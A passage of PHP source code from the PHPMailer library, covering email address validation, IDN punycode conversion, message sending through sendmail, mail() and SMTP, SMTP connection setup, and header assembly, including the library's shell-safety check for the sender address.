                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

